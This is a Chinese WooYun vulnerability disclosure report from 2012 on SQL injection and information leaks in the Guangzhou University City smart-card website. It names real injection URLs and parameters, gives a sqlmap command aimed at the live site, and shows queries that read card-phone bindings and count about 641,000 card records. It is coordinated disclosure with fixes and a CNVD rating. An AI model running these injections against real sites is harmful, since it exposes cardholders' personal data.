当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-04839

漏洞标题:广州大学城一卡通网站的数个问题

相关厂商:广州大学城一卡通有限公司

漏洞作者: horseluke

提交时间:2012-02-26 19:58

修复时间:2012-04-11 19:58

公开时间:2012-04-11 19:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-02-26: 细节已通知厂商并且等待厂商处理中
2012-02-27: 厂商已经确认,细节仅向厂商公开
2012-03-08: 细节向核心白帽子及相关领域专家公开
2012-03-18: 细节向普通白帽子公开
2012-03-28: 细节向实习白帽子公开
2012-04-11: 细节向公众公开

简要描述:

广州大学城一卡通网站存在数个问题,可能会产生一些不良后果。

详细说明:

由于存在的问题较多,故进行了分类说明,但请注意1.2这个非常严重的漏洞。
一、SQL注射漏洞相关
1.1、未下线的旧版页面存在基于MICROSOFT ACCESS的SQL注入漏洞
注入点:

http://218.20.222.1/info_view.asp?id=18


分析与判断:
由于注入点在id不为数字时报错,根据报错类型,可以判断存在SQL注入点。
从测试来看,本漏洞仅影响Access本身,故危害为低。


1.2、新版页面中“我的一卡通”存在基于Oracle的SQL注入漏洞(重点!)
注入点:

http://www.ekatong.com.cn/WEB/myekt.aspx


分析与判断:
本注入点有一个利用前提:必须为一卡通持卡人并且登录。
登录后有查询账单功能,但参数e_date处并没有作服务器端日期格式有效性校验(猜测s_date也没有作服务器端日期格式有效性校验,只是不等式对比后者时会被拦截),结果导致服务器出错,出错内容提示,存在SQL注入漏洞。
(通过IE工具修改提交表单,绕过HTML和JS限制)


(错误内容)


经过注入测试后(详见漏洞证明),发现可读取众多数据表,比如一卡通和手机号码绑定列表;虽然由于权限问题无法读取最新一卡通账户资料,但有个表也有60w旧数据,笔者的也在内。另根据dba-user的列表,推测所有大学城一卡通相关数据(包括公共单车、一卡通消费等)都在里面,如果有人能突破和提权的话......后果不堪设想,毁掉的是整个大学城的经济生态圈。
综合以上判断,故本漏洞设为高。此问题处理应该从速。
1.3 部分页面存在疑似SQL注入问题
疑似地址:

http://www.ekatong.com.cn/WEB/searchnews.aspx?cid=46


分析与判断:
错误提示似乎采用了绑定变量查询,故未细致探究。
二、错误信息泄露
2.1 众多页面存在错误信息泄露问题
分析和判断:
除了1.2以外,其它页面的防护点都是可以的(采取了整形转换和预处理查询),但是存在将异常和错误信息直接打印出来的问题。如下页面后面加'即可报错:

http://www.ekatong.com.cn/WEB/newsdetail.aspx?nid=222
http://www.ekatong.com.cn/WEB/businessinde.aspx?sid=16


本问题危害度低。
2.2 后台地址与废弃功能页面泄露
分析与判断:
新版存在管理后台地址泄露和OA地址泄露问题(OA直接挂到首页有点汗),同时也存在废弃功能页面(http://www.ekatong.com.cn/WEB/login.aspx)泄露。
综合判断为低

漏洞证明:

一、SQL注射漏洞相关
1.1 证明(SQLMAP)
[12:01:18 02/26/12]
[http://218.20.222.1:80/info_view.asp][GET][id=18][DBMS][Microsoft Access]
sqlmap identified the following injection points with a total of 44 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
---
1.2 证明(SQLMAP;重点!)
1.2.1 SQLMAP命令

python sqlmap.py -u "http://www.ekatong.com.cn/WEB/myekt.aspx" -v 1 --dbms "Oracle" --dbs --cookie "略" --referer "略" --user-agent "略" -p "e_date" --data "....略...s_date=2012-02-18&e_date=2012-02-25"


1.2.2 SQL日志

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: e_date
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
---


1.2.2 查询本人的一卡通和手机号码绑定列表状态

SELECT * FROM T_MOBILEBINDYKT WHERE PHONE = '13*********' [1]:
[*] 20120226, ******, , , 20120226, ******, , , ******, ******, 一卡通卡号, 13*********, 2


1.2.3 查询某个一卡通账户表存在多少账户资料(本人的也在里面)

SELECT count(*) FROM T_CARD:    '641523'


1.3 证明(暂无)
二、错误信息泄露
(略)

修复方案:

1、屏蔽网站错误
2、SQL漏洞修复
3、已废弃内容应该彻底从服务器撤下并且删除
4、无需暴露的地址,就不应该暴露,或者应该加权限访问(如OA地址;后台管理地址等)
5、全面检查服务器安全问题
再次呼吁,各大学城在网络上可能存在不少安全隐患,建议CNVD择重点关注。
也希望各大学校不要因此而又要自己搞一套。大学城终极目标是资源共享,而不是位置共享!

版权声明:转载请注明来源 horseluke@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2012-02-27 14:58

厂商回复:

CNVD确认ACCESS 注入点存在,与oracle相关的注入点未能直接复现,根据图片以及报告者详实的描述过程确认。将直接转由CNCERT广东分中心处置。
CNVD对该漏洞评分如下:
基本得分CVSS:(AV:R/AC:L/Au:R/C:C/A:N/I:P/B:N) score:7.98(高危)
技术难度系数:1.1(存在页面表单绕过)
影响危害系数:1.4(较严重,涉及实名信息泄露,危害情况需等待涉事方反馈)
CNVD综合评分:7.98*1.1*1.4=12.289

最新状态:

暂无